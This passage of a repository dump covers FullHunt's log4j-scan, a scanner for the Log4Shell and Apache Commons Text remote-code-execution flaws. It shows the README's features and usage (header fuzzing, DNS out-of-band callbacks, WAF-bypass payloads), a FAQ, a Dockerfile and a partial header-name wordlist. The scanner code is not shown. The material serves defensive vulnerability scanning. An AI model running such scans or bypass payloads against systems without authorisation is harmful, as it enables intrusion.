├── .gitignore
├── Dockerfile
├── FAQ.md
├── LICENSE.txt
├── README.md
├── headers-large.txt
├── headers-minimal.txt
├── headers.txt
├── log4j-scan.py
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | tests/
2 | venv/
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3-alpine
2 |
3 | WORKDIR /app
4 |
5 | COPY requirements.txt requirements.txt
6 |
7 | RUN apk add gcc g++ make libffi-dev openssl-dev
8 | RUN pip3 install -r requirements.txt
9 |
10 | COPY . .
11 |
12 | ENTRYPOINT ["python", "log4j-scan.py" ]
13 |
--------------------------------------------------------------------------------
/FAQ.md:
--------------------------------------------------------------------------------
1 | # Frequently Asked Questions
2 |
3 | ## DNS callback error
4 |
5 | ```
6 | Traceback (most recent call last):
7 | File "/Users/user/src/log4j-scan/log4j-scan.py", line 362, in
8 | main()
9 | File "/Users/user/src/log4j-scan/log4j-scan.py", line 332, in main
10 | dns_callback = Interactsh()
11 | File "/Users/darkcode/src/log4j-scan/log4j-scan.py", line 195, in init
12 | self.register()
13 | File "/Users/user/src/log4j-scan/log4j-scan.py", line 206, in register
14 | raise Exception("Can not initiate interact.sh DNS callback client")
15 | Exception: Can not initiate interact.sh DNS callback client
16 | ```
17 |
18 | It means that the DNS callback provider is down, it's blocked on your network, or you can not connect to the DNS callback provider due to networking issues. You can use an different DNS Callback provider (eg.. with `--dns-callback-provider dnslog.cn`), or you can use a custom DNS callback host with ` --custom-dns-callback-host`.
19 |
20 | ---
21 |
22 | ## Running with Python 2
23 |
24 | ```
25 | File "log4j-scan.py", line 136
26 | fuzzing_headers["Referer"] = f'https://{fuzzing_headers["Referer"]}'
27 | ```
28 |
29 | It should be related to Python 2 compatibility. The tool requires a modern version of Python 3.
30 |
31 | ---
32 |
33 | # Dependencies issue
34 |
35 | ```
36 | File "/home/parallels/Log4j-RCE-Scanner/log4j-scan/log4j-scan.py", line 22, in
37 | from Crypto.Cipher import AES, PKCS1_OAEP
38 | ModuleNotFoundError: No module named 'Crypto'
39 | ```
40 |
41 | This should be related to Pycrypto. Please install the latest Python PyCryptodome version. If you're still facing dependencies issues, you can use the Docker image.
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2021 Mazin Ahmed
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
log4j-scan
2 | A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts
3 |
4 | 
5 |
6 | # Features
7 |
8 | - Support for lists of URLs.
9 | - Fuzzing for more than 60 HTTP request headers (not only 3-4 headers as previously seen tools).
10 | - Fuzzing for HTTP POST Data parameters.
11 | - Fuzzing for JSON data parameters.
12 | - Supports DNS callback for vulnerability discovery and validation.
13 | - WAF Bypass payloads.
14 |
15 | ---
16 |
17 | # 🚨 Annoucement (October 20th, 2022)
18 |
19 | FullHunt released an update to identify Apache Commons Text RCE (CVE-2022-42889). Apache Commons Text RCE is highly similar to Log4J RCE, and we recommend patching it as soon as possible. Vulnerable applications allow full remote-code execution. If help is needed in scanning and discovering this vulnerability on your infrastructure, please get in touch at (team@fullhunt.io).
20 |
21 | 
22 |
23 | # 🚨 Announcement (December 17th, 2021)
24 |
25 | There is a patch bypass on Log4J v2.15.0 that allows a full RCE. FullHunt added community support for log4j-scan to reliably detect CVE-2021-45046. If you're having difficulty discovering and scanning your infrastructure at scale or keeping up with the Log4J threat, please get in touch at (team@fullhunt.io).
26 |
27 | 
28 |
29 | ---
30 |
31 | # Description
32 |
33 | We have been researching the Log4J RCE (CVE-2021-44228) since it was released, and we worked in preventing this vulnerability with our customers. We are open-sourcing an open detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. This shall be used by security teams to scan their infrastructure for Log4J RCE, and also test for WAF bypasses that can result in achieving code execution on the organization's environment.
34 |
35 | It supports DNS OOB callbacks out of the box, there is no need to set up a DNS callback server.
36 |
37 | # Usage
38 |
39 | ```python
40 | $ python3 log4j-scan.py -h
41 | python3 log4j-scan.py -h
42 | [•] CVE-2021-44228 - Apache Log4j RCE Scanner
43 | [•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
44 | [•] Secure your External Attack Surface with FullHunt.io.
45 | usage: log4j-scan.py [-h] [-u URL] [-p PROXY] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
46 | [--wait-time WAIT_TIME] [--waf-bypass] [--custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD] [--test-CVE-2021-45046] [--test-CVE-2022-42889]
47 | [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--disable-http-redirects]
48 |
49 | optional arguments:
50 | -h, --help show this help message and exit
51 | -u URL, --url URL Check a single URL.
52 | -p PROXY, --proxy PROXY
53 | send requests through proxy
54 | -l USEDLIST, --list USEDLIST
55 | Check a list of URLs.
56 | --request-type REQUEST_TYPE
57 | Request Type: (get, post) - [Default: get].
58 | --headers-file HEADERS_FILE
59 | Headers fuzzing list - [default: headers.txt].
60 | --run-all-tests Run all available tests on each URL.
61 | --exclude-user-agent-fuzzing
62 | Exclude User-Agent header from fuzzing - useful to bypass weak checks on User-Agents.
63 | --wait-time WAIT_TIME
64 | Wait time after all URLs are processed (in seconds) - [Default: 5].
65 | --waf-bypass Extend scans with WAF bypass payloads.
66 | --custom-waf-bypass-payload CUSTOM_WAF_BYPASS_PAYLOAD
67 | Test with custom WAF bypass payload.
68 | --test-CVE-2021-45046
69 | Test using payloads for CVE-2021-45046 (detection payloads).
70 | --test-CVE-2022-42889
71 | Test using payloads for Apache Commons Text RCE (CVE-2022-42889).
72 | --dns-callback-provider DNS_CALLBACK_PROVIDER
73 | DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].
74 | --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST
75 | Custom DNS Callback Host.
76 | --disable-http-redirects
77 | Disable HTTP redirects. Note: HTTP redirects are useful as it allows the payloads to have a higher chance of reaching vulnerable systems.
78 | ```
79 |
80 | ## Scan a Single URL
81 |
82 | ```shell
83 | $ python3 log4j-scan.py -u https://log4j.lab.secbot.local
84 | ```
85 |
86 | ## Scan a Single URL using all Request Methods: GET, POST (url-encoded form), POST (JSON body)
87 |
88 | ```shell
89 | $ python3 log4j-scan.py -u https://log4j.lab.secbot.local --run-all-tests
90 | ```
91 |
92 | ## Discover WAF bypasses against the environment.
93 |
94 | ```shell
95 | $ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypass
96 | ```
97 |
98 | ## Scan a list of URLs
99 |
100 | ```shell
101 | $ python3 log4j-scan.py -l urls.txt
102 | ```
103 |
104 | # Installation
105 |
106 | ```
107 | $ pip3 install -r requirements.txt
108 | ```
109 |
110 | # Docker Support
111 |
112 | ```shell
113 | git clone https://github.com/fullhunt/log4j-scan.git
114 | cd log4j-scan
115 | sudo docker build -t log4j-scan .
116 | sudo docker run -it --rm log4j-scan
117 |
118 | # With URL list "urls.txt" in current directory
119 | docker run -it --rm -v $PWD:/data log4j-scan -l /data/urls.txt
120 | ```
121 |
122 | # About FullHunt
123 |
124 | FullHunt is the next-generation attack surface management platform. FullHunt enables companies to discover all of their attack surfaces, monitor them for exposure, and continuously scan them for the latest security vulnerabilities. All, in a single platform, and more.
125 |
126 | FullHunt provides an enterprise platform for organizations. The FullHunt Enterprise Platform provides extended scanning and capabilities for customers. FullHunt Enterprise platform allows organizations to closely monitor their external attack surface, and get detailed alerts about every single change that happens. Organizations around the world use the FullHunt Enterprise Platform to solve their continuous security and external attack surface security challenges.
127 |
128 | # Legal Disclaimer
129 |
130 | This project is made for educational and ethical testing purposes only. Usage of log4j-scan for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
131 |
132 | # License
133 |
134 | The project is licensed under MIT License.
135 |
136 | # Author
137 |
138 | _Mazin Ahmed_
139 |
140 | - Email: _mazin at FullHunt.io_
141 | - FullHunt: [https://fullhunt.io](https://fullhunt.io)
142 | - Website: [https://mazinahmed.net](https://mazinahmed.net)
143 | - Twitter: [https://twitter.com/mazen160](https://twitter.com/mazen160)
144 | - Linkedin: [http://linkedin.com/in/infosecmazinahmed](http://linkedin.com/in/infosecmazinahmed)
145 |
--------------------------------------------------------------------------------
/headers-large.txt:
--------------------------------------------------------------------------------
1 | Accept
2 | Accept-Application
3 | Accept-CH
4 | Accept-Charset
5 | Accept-CH-Lifetime
6 | Accept-Datetime
7 | Accepted
8 | Accept-Encoding
9 | Accept-Encodxng
10 | Accept-Language
11 | Accept-Patch
12 | Accept-Ranges
13 | Accept-Version
14 | Access-Control-Allow-Credentials
15 | Access-Control-Allow-Headers
16 | Access-Control-Allow-Methods
17 | Access-Control-Allow-Origin
18 | Access-Control-Expose-Headers
19 | Access-Control-Max-Age
20 | Access-Control-Request-Headers
21 | Access-Control-Request-Method
22 | Accesskey
23 | Access-Token
24 | Action
25 | Admin
26 | Age
27 | A-IM
28 | Ajax
29 | Akamai-Origin-Hop
30 | Allow
31 | Alt-Svc
32 | App
33 | Appcookie
34 | App-Env
35 | App-Key
36 | Apply-To-Redirect-Ref
37 | Appname
38 | Appversion
39 | Atcept-Language
40 | Auth
41 | Auth-Any
42 | Auth-Basic
43 | Auth-Digest
44 | Auth-Digest-Ie
45 | Authentication
46 | Auth-Gssneg
47 | Auth-Key
48 | Auth-Ntlm
49 | Authorization
50 | Auth-Password
51 | Auth-Realm
52 | Auth-Type
53 | Auth-User
54 | Bad-Gateway
55 | Bad-Request
56 | Bae-Env-Addr-Bcms
57 | Bae-Env-Addr-Bcs
58 | Bae-Env-Addr-Bus
59 | Bae-Env-Addr-Channel
60 | Bae-Env-Addr-Sql-Ip
61 | Bae-Env-Addr-Sql-Port
62 | Bae-Env-Ak
63 | Bae-Env-Appid
64 | Bae-Env-Sk
65 | Bae-Logid
66 | Bar
67 | Base
68 | Base-Url
69 | Basic
70 | Bearer-Indication
71 | Body-Maxlength
72 | Body-Truncated
73 | Brief
74 | Browser-User-Agent
75 | Cache-Control
76 | Cache-Info
77 | Case-Files
78 | Catalog
79 | Catalog-Server
80 | Category
81 | Cert-Cookie
82 | Cert-Flags
83 | Cert-Issuer
84 | Cert-Keysize
85 | Cert-Secretkeysize
86 | Cert-Serialnumber
87 | Cert-Server-Issuer
88 | Cert-Server-Subject
89 | Cert-Subject
90 | Cf-Connecting-Ip
91 | Cf-Ipcountry
92 | Cf-Template-Path
93 | Cf-Visitor
94 | Ch
95 | Challenge-Response
96 | Charset
97 | Chunk-Size
98 | Clear-Site-Data
99 | Client
100 | Clientaddress
101 | Client-Address
102 | Client-Bad-Request
103 | Client-Conflict
104 | Client-Error-Cannot-Access-Local-File
105 | Client-Error-Cannot-Connect
106 | Client-Error-Communication-Failure
107 | Client-Error-Connect
108 | Client-Error-Invalid-Parameters
109 | Client-Error-Invalid-Server-Address
110 | Client-Error-No-Error
111 | Client-Error-Protocol-Failure
112 | Client-Error-Unspecified-Error
113 | Client-Expectation-Failed
114 | Client-Forbidden
115 | Client-Gone
116 | Clientip
117 | Client-Ip
118 | Client-IP
119 | Client-Length-Required
120 | Client-Method-Not-Allowed
121 | Client-Not-Acceptable
122 | Client-Not-Found
123 | Client-Payment-Required
124 | Client-Precondition-Failed
125 | Client-Proxy-Auth-Required
126 | Client-Quirk-Mode
127 | Client-Requested-Range-Not-Possible
128 | Client-Request-Timeout
129 | Client-Request-Too-Large
130 | Client-Request-Uri-Too-Large
131 | Client-Unauthorized
132 | Client-Unsupported-Media-Type
133 | Cloudfront-Viewer-Country
134 | Cloudinary-Name
135 | Cloudinary-Public-Id
136 | Cloudinaryurl
137 | Cloudinary-Version
138 | Cluster-Client-IP
139 | Code
140 | Coming-From
141 | Compress
142 | Conflict
143 | Connection
144 | Connection-Type
145 | Contact
146 | Content
147 | Content-Disposition
148 | Content-Encoding
149 | Content-Language
150 | Content-Length
151 | Content-Location
152 | Content-Md5
153 | Content-MD5
154 | Content-Range
155 | Content-Security-Policy
156 | Content-Security-Policy-Report-Only
157 | Content-Type
158 | Content-Type-Xhtml
159 | Context-Path
160 | Continue
161 | Cookie
162 | Cookie2
163 | Cookie-Domain
164 | Cookie-Httponly
165 | Cookie-Parse-Raw
166 | Cookie-Path
167 | Cookies
168 | Cookie-Secure
169 | Cookie-Vars
170 | Core-Base
171 | Correlates
172 | Created
173 | Credentials-Filepath
174 | Cross-Origin-Resource-Policy
175 | Curl
176 | Curl-Multithreaded
177 | Custom-Header
178 | Custom-Secret-Header
179 | Dataserviceversion
180 | Date
181 | Debug
182 | Deflate-Level-Def
183 | Deflate-Level-Max
184 | Deflate-Level-Min
185 | Deflate-Strategy-Def
186 | Deflate-Strategy-Filt
187 | Deflate-Strategy-Fixed
188 | Deflate-Strategy-Huff
189 | Deflate-Strategy-Rle
190 | Deflate-Type-Gzip
191 | Deflate-Type-Raw
192 | Deflate-Type-Zlib
193 | Delete
194 | Delta-Base
195 | Depth
196 | Destination
197 | Destroy
198 | Devblocksproxybase
199 | Devblocksproxyhost
200 | Devblocksproxyssl
201 | Device-Memory
202 | Device-Stock-Ua
203 | Digest
204 | Dir
205 | Dir-Name
206 | Dir-Resource
207 | Disable-Gzip
208 | Dkim-Signature
209 | Dnt
210 | DNT
211 | Download-Attachment
212 | Download-Bad-Url
213 | Download-Bz2
214 | Download-Cut-Short
215 | Download-E-Headers-Sent
216 | Download-E-Invalid-Archive-Type
217 | Download-E-Invalid-Content-Type
218 | Download-E-Invalid-File
219 | Download-E-Invalid-Param
220 | Download-E-Invalid-Request
221 | Download-E-Invalid-Resource
222 | Download-E-No-Ext-Mmagic
223 | Download-E-No-Ext-Zlib
224 | Download-Inline
225 | Download-Mime-Type
226 | Download-No-Server
227 | Download-Size
228 | Download-Status-Not-Found
229 | Download-Status-Server-Error
230 | Download-Status-Unauthorized
231 | Download-Status-Unknown
232 | Download-Tar
233 | Download-Tgz
234 | Download-Url
235 | Download-Zip
236 | DPR
237 | Early-Data
238 | E-Encoding
239 | E-Header
240 | E-Invalid-Param
241 | E-Malformed-Headers
242 | E-Message-Type
243 | Enable-Gzip
244 | Enable-No-Cache-Headers
245 | Encoding-Stream-Flush-Full
246 | Encoding-Stream-Flush-None
247 | Encoding-Stream-Flush-Sync
248 | Env-Silla-Environment
249 | Env-Vars
250 | E-Querystring
251 | E-Request
252 | E-Request-Method
253 | E-Request-Pool
254 | E-Response
255 | Error
256 | Error-1
257 | Error-2
258 | Error-3
259 | Error-4
260 | Error-Formatting-Html
261 | E-Runtime
262 | E-Socket
263 | Espo-Authorization
264 | Espo-Cgi-Auth
265 | Etag
266 | ETag
267 | E-Url
268 | Eve-Charid
269 | Eve-Charname
270 | Eve-Solarsystemid
271 | Eve-Solarsystemname
272 | Eve-Trusted
273 | Ex-Copy-Movie
274 | Expect
275 | Expectation-Failed
276 | Expect-CT
277 | Expires
278 | Ext
279 | Failed-Dependency
280 | Fake-Header
281 | Fastly-Client-Ip
282 | Fb-Appid
283 | Fb-Secret
284 | Feature-Policy
285 | Filename
286 | File-Not-Found
287 | Files
288 | Files-Vars
289 | Fire-Breathing-Dragon
290 | Foo
291 | Foo-Bar
292 | Forbidden
293 | Force-Language
294 | Force-Local-Xhprof
295 | Format
296 | Forwarded
297 | Forwarded-For
298 | Forwarded-For-Ip
299 | Forwarded-Proto
300 | From
301 | Fromlink
302 | Front-End-Https
303 | Gateway-Interface
304 | Gateway-Time-Out
305 | Get
306 | Get-Vars
307 | Givenname
308 | Global-All
309 | Global-Cookie
310 | Global-Get
311 | Global-Post
312 | Gone
313 | Google-Code-Project-Hosting-Hook-Hmac
314 | Gzip-Level
315 | H0st
316 | Head
317 | Header
318 | Header-Lf
319 | Header-Status-Client-Error
320 | Header-Status-Informational
321 | Header-Status-Redirect
322 | Header-Status-Server-Error
323 | Header-Status-Successful
324 | Home
325 | Host
326 | Hosti
327 | Host-Liveserver
328 | Host-Name
329 | Host-Unavailable
330 | Htaccess
331 | HTTP2-Settings
332 | Http-Accept
333 | Http-Accept-Encoding
334 | Http-Accept-Language
335 | Http-Authorization
336 | Http-Connection
337 | Http-Cookie
338 | Http-Host
339 | Http-Phone-Number
340 | Http-Referer
341 | Https
342 | Https-From-Lb
343 | Https-Keysize
344 | Https-Secretkeysize
345 | Https-Server-Issuer
346 | Https-Server-Subject
347 | Http-Url
348 | Http-User-Agent
349 | If
350 | If-Match
351 | If-Modified-Since
352 | If-Modified-Since-Version
353 | If-None-Match
354 | If-Posted-Before
355 | If-Range
356 | If-Unmodified-Since
357 | If-Unmodified-Since-Version
358 | IM
359 | Image
360 | Images
361 | Incap-Client-Ip
362 | Info
363 | Info-Download-Size
364 | Info-Download-Time
365 | Info-Return-Code
366 | Info-Total-Request-Stat
367 | Info-Total-Response-Stat
368 | Insufficient-Storage
369 | Internal-Server-Error
370 | Ipresolve-Any
371 | Ipresolve-V4
372 | Ipresolve-V6
373 | Ischedule-Version
374 | Iv-Groups
375 | Iv-User
376 | Javascript
377 | Jenkins
378 | Keep-Alive
379 | Kiss-Rpc
380 | Label
381 | Large-Allocation
382 | Last-Event-Id
383 | Last-Modified
384 | Length-Required
385 | Link
386 | Local-Addr
387 | Local-Content-Sha1
388 | Local-Dir
389 | Location
390 | Locked
391 | Lock-Token
392 | Mail
393 | Mandatory
394 | Max-Conn
395 | Maxdataserviceversion
396 | Max-Forwards
397 | Max-Request-Size
398 | Max-Uri-Length
399 | Message
400 | Message-B
401 | Meth-
402 | Meth-Acl
403 | Meth-Baseline-Control
404 | Meth-Checkin
405 | Meth-Checkout
406 | Meth-Connect
407 | Meth-Copy
408 | Meth-Delete
409 | Meth-Get
410 | Meth-Head
411 | Meth-Label
412 | Meth-Lock
413 | Meth-Merge
414 | Meth-Mkactivity
415 | Meth-Mkcol
416 | Meth-Mkworkspace
417 | Meth-Move
418 | Method
419 | Method-Not-Allowed
420 | Meth-Options
421 | Meth-Post
422 | Meth-Propfind
423 | Meth-Proppatch
424 | Meth-Put
425 | Meth-Report
426 | Meth-Trace
427 | Meth-Uncheckout
428 | Meth-Unlock
429 | Meth-Update
430 | Meth-Version-Control
431 | Mimetype
432 | Modauth
433 | Mode
434 | Mod-Env
435 | Mod-Rewrite
436 | Mod-Security-Message
437 | Module-Class
438 | Module-Class-Path
439 | Module-Name
440 | Moved-Permanently
441 | Moved-Temporarily
442 | Ms-Asprotocolversion
443 | Msg-None
444 | Msg-Request
445 | Msg-Response
446 | Msisdn
447 | Multipart-Boundary
448 | Multiple-Choices
449 | Multi-Status
450 | Must
451 | My-Header
452 | Mysqlport
453 | Native-Sockets
454 | Negotiate
455 | Nl
456 | No-Content
457 | Non-Authoritative
458 | Nonce
459 | Not-Acceptable
460 | Not-Exists
461 | Not-Extended
462 | Not-Found
463 | Notification-Template
464 | Not-Implemented
465 | Not-Modified
466 | Oc-Chunked
467 | Ocs-Apirequest
468 | Ok
469 | On-Behalf-Of
470 | Onerror-Continue
471 | Onerror-Die
472 | Onerror-Return
473 | Only
474 | Opencart
475 | Options
476 | Organizer
477 | Origin
478 | Originator
479 | Orig_path_info
480 | Overwrite
481 | P3P
482 | Params-Allow-Comma
483 | Params-Allow-Failure
484 | Params-Default
485 | Params-Get-Catid
486 | Params-Get-Currentday
487 | Params-Get-Disposition
488 | Params-Get-Downwards
489 | Params-Get-Givendate
490 | Params-Get-Lang
491 | Params-Get-Type
492 | Params-Raise-Error
493 | Partial-Content
494 | Passkey
495 | Password
496 | Path
497 | Path-Base
498 | Path-Info
499 | Path-Themes
500 | Path-Translated
501 | Payment-Required
502 | Pc-Remote-Addr
503 | Permanent
504 | Phone-Number
505 | Php
506 | Php-Auth-Pw
507 | Php-Auth-User
508 | Phpthreads
509 | Pink-Pony
510 | Port
511 | Portsensor-Auth
512 | Post
513 | Post-Error
514 | Post-Files
515 | Postredir-301
516 | Postredir-302
517 | Postredir-All
518 | Post-Vars
519 | Pragma
520 | Pragma-No-Cache
521 | Precondition-Failed
522 | Prefer
523 | Processing
524 | Profile
525 | Protocol
526 | Protocols
527 | Proxy
528 | Proxy-Agent
529 | Proxy-Authenticate
530 | Proxy-Authentication-Required
531 | Proxy-Authorization
532 | Proxy-Connection
533 | Proxy-Host
534 | Proxy-Http
535 | Proxy-Http-1-0
536 | Proxy-Password
537 | Proxy-Port
538 | Proxy-Pwd
539 | Proxy-Request-Fulluri
540 | Proxy-Socks4
541 | Proxy-Socks4a
542 | Proxy-Socks5
543 | Proxy-Socks5-Hostname
544 | Proxy-Url
545 | Proxy-User
546 | Public-Key-Pins
547 | Public-Key-Pins-Report-Only
548 | Pull
549 | Put
550 | Querystring
551 | Query-String
552 | Querystring-Type-Array
553 | Querystring-Type-Bool
554 | Querystring-Type-Float
555 | Querystring-Type-Int
556 | Querystring-Type-Object
557 | Querystring-Type-String
558 | Range
559 | Range-Not-Satisfiable
560 | Raw-Post-Data
561 | Read-State-Begin
562 | Read-State-Body
563 | Read-State-Headers
564 | Real-Ip
565 | Real-Method
566 | Reason
567 | Reason-Phrase
568 | Recipient
569 | Redirect
570 | Redirected-Accept-Language
571 | Redirect-Found
572 | Redirection-Found
573 | Redirection-Multiple-Choices
574 | Redirection-Not-Modified
575 | Redirection-Permanent
576 | Redirection-See-Other
577 | Redirection-Temporary
578 | Redirection-Unused
579 | Redirection-Use-Proxy
580 | Redirect-Perm
581 | Redirect-Post
582 | Redirect-Problem-Withoutwww
583 | Redirect-Problem-Withwww
584 | Redirect-Proxy
585 | Redirect-Temp
586 | Ref
587 | Referer
588 | Referrer
589 | Referrer-Policy
590 | Refferer
591 | Refresh
592 | Remix-Hash
593 | Remote-Addr
594 | Remote-Host
595 | Remote-Host-Wp
596 | Remote-User
597 | Remote-Userhttps
598 | Report-To
599 | Request
600 | Request2-Tests-Base-Url
601 | Request2-Tests-Proxy-Host
602 | Request-Entity-Too-Large
603 | Request-Error
604 | Request-Error-File
605 | Request-Error-Gzip-Crc
606 | Request-Error-Gzip-Data
607 | Request-Error-Gzip-Method
608 | Request-Error-Gzip-Read
609 | Request-Error-Proxy
610 | Request-Error-Redirects
611 | Request-Error-Response
612 | Request-Error-Url
613 | Request-Http-Ver-1-0
614 | Request-Http-Ver-1-1
615 | Request-Mbstring
616 | Request-Method
617 | Request-Method-
618 | Request-Method-Delete
619 | Request-Method-Get
620 | Request-Method-Head
621 | Request-Method-Options
622 | Request-Method-Post
623 | Request-Method-Put
624 | Request-Method-Trace
625 | Request-Timeout
626 | Request-Time-Out
627 | Requesttoken
628 | Request-Uri
629 | Request-Uri-Too-Large
630 | Request-Vars
631 | Reset-Content
632 | Response
633 | Rest-Key
634 | Rest-Sign
635 | Retry-After
636 | Returned-Error
637 | Rlnclientipaddr
638 | Root
639 | Safe-Ports-List
640 | Safe-Ports-Ssl-List
641 | Save-Data
642 | Schedule-Reply
643 | Scheme
644 | Script-Name
645 | Sec-Fetch-Dest
646 | Sec-Fetch-Mode
647 | Sec-Fetch-Site
648 | Sec-Fetch-User
649 | Secretkey
650 | Sec-Websocket-Accept
651 | Sec-WebSocket-Accept
652 | Sec-Websocket-Extensions
653 | Sec-Websocket-Key
654 | Sec-Websocket-Key1
655 | Sec-Websocket-Key2
656 | Sec-Websocket-Origin
657 | Sec-Websocket-Protocol
658 | Sec-Websocket-Version
659 | See-Other
660 | Self
661 | Send-X-Frame-Options
662 | Server
663 | Server-Bad-Gateway
664 | Server-Error
665 | Server-Gateway-Timeout
666 | Server-Internal
667 | Server-Name
668 | Server-Not-Implemented
669 | Server-Port
670 | Server-Port-Secure
671 | Server-Protocol
672 | Server-Service-Unavailable
673 | Server-Software
674 | Server-Timing
675 | Server-Unsupported-Version
676 | Server-Vars
677 | Server-Varsabantecart
678 | Service-Unavailable
679 | Session-Id-Tag
680 | Session-Vars
681 | Set-Cookie
682 | Set-Cookie2
683 | Shib-
684 | Shib-Application-Id
685 | Shib-Identity-Provider
686 | Shib-Logouturl
687 | Shopilex
688 | Slug
689 | Sn
690 | Soapaction
691 | Socket-Connection-Err
692 | Socketlog
693 | Somevar
694 | Sourcemap
695 | SourceMap
696 | Sp-Client
697 | Sp-Host
698 | Ssl
699 | Ssl-Https
700 | Ssl-Offloaded
701 | Sslsessionid
702 | Ssl-Session-Id
703 | Ssl-Version-Any
704 | Start
705 | Status
706 | Status-
707 | Status-403
708 | Status-403-Admin-Del
709 | Status-404
710 | Status-Bad-Request
711 | Status-Code
712 | Status-Forbidden
713 | Status-Ok
714 | Status-Platform-403
715 | Strict-Transport-Security
716 | Str-Match
717 | Success-Accepted
718 | Success-Created
719 | Success-No-Content
720 | Success-Non-Authoritative
721 | Success-Ok
722 | Success-Partial-Content
723 | Success-Reset-Content
724 | Support
725 | Support-Encodings
726 | Support-Events
727 | Support-Magicmime
728 | Support-Requests
729 | Support-Sslrequests
730 | Surrogate-Capability
731 | Switching-Protocols
732 | Te
733 | TE
734 | Temporary-Redirect
735 | Test
736 | Test-Config
737 | Test-Server-Path
738 | Test-Something-Anything
739 | Ticket
740 | Timeout
741 | Time-Out
742 | Timing-Allow-Origin
743 | Title
744 | Tk
745 | Tmp
746 | Token
747 | Trailer
748 | Transfer-Encoding
749 | Translate
750 | Transport-Err
751 | True-Client-Ip
752 | True-Client-IP
753 | Ua
754 | Ua-Color
755 | Ua-Cpu
756 | Ua-Os
757 | Ua-Pixels
758 | Ua-Resolution
759 | Ua-Voice
760 | Unauthorized
761 | Unencoded-Url
762 | Unit-Test-Mode
763 | Unless-Modified-Since
764 | Unprocessable-Entity
765 | Unsupported-Media-Type
766 | Upgrade
767 | Upgrade-Insecure-Requests
768 | Upgrade-Required
769 | Upload-Default-Chmod
770 | Uri
771 | Url
772 | Url-From-Env
773 | Url-Join-Path
774 | Url-Join-Query
775 | Url-Replace
776 | Url-Sanitize-Path
777 | Url-Strip-
778 | Url-Strip-All
779 | Url-Strip-Auth
780 | Url-Strip-Fragment
781 | Url-Strip-Pass
782 | Url-Strip-Path
783 | Url-Strip-Port
784 | Url-Strip-Query
785 | Url-Strip-User
786 | Use-Gzip
787 | Use-Proxy
788 | User
789 | Useragent
790 | User-Agent
791 | Useragent-Via
792 | User-Agent-Via
793 | User-Email
794 | User-Id
795 | User-Mail
796 | User-Name
797 | User-Photos
798 | Util
799 | Variant-Also-Varies
800 | Vary
801 | Verbose
802 | Verbose-Throttle
803 | Verify-Cert
804 | Version
805 | Version-1-0
806 | Version-1-1
807 | Version-Any
808 | Versioncode
809 | Version-None
810 | Version-Not-Supported
811 | Via
812 | Viad
813 | Waf-Stuff-Below
814 | Want-Digest
815 | Wap-Connection
816 | Warning
817 | Webodf-Member-Id
818 | Webodf-Session-Id
819 | Webodf-Session-Revision
820 | Web-Server-Api
821 | Work-Directory
822 | Www-Address
823 | Www-Authenticate
824 | WWW-Authenticate
825 | X
826 | X-
827 | X-Aastra-Expmod1
828 | X-Aastra-Expmod2
829 | X-Aastra-Expmod3
830 | X-Accel-Mapping
831 | X-Access-Token
832 | X-Advertiser-Id
833 | X-Ajax-Real-Method
834 | X_alto_ajax_key
835 | X-Alto-Ajax-Keyz
836 | X-Amz-Date
837 | X-Amzn-Remapped-Host
838 | X-Amz-Website-Redirect-Location
839 | X-Api-Key
840 | X-Api-Signature
841 | X-Api-Timestamp
842 | X-Apitoken
843 | X-Api-Version
844 | X-Apple-Client-Application
845 | X-Apple-Store-Front
846 | X-Arr-Log-Id
847 | X-Arr-Ssl
848 | X-Att-Deviceid
849 | X-ATT-DeviceId
850 | X-Authentication
851 | X-Authentication-Key
852 | X-Auth-Key
853 | X-Auth-Mode
854 | Xauthorization
855 | X-Authorization
856 | X-Auth-Password
857 | X-Auth-Service-Provider
858 | X-Auth-Token
859 | X-Auth-User
860 | X-Auth-Userid
861 | X-Auth-Username
862 | X-Avantgo-Screensize
863 | X-Azc-Remote-Addr
864 | X-Bear-Ajax-Request
865 | X-Bluecoat-Via
866 | X-Bolt-Phone-Ua
867 | X-Browser-Height
868 | X-Browser-Width
869 | X-Cascade
870 | X-Cept-Encoding
871 | X-Cf-Url
872 | X-Chrome-Extension
873 | X-Cisco-Bbsm-Clientip
874 | X-Client-Host
875 | X-Client-Id
876 | X-Clientip
877 | X-Client-Ip
878 | X-Client-IP
879 | X-Client-Key
880 | X-Client-Os
881 | X-Client-Os-Ver
882 | X-Cluster-Client-Ip
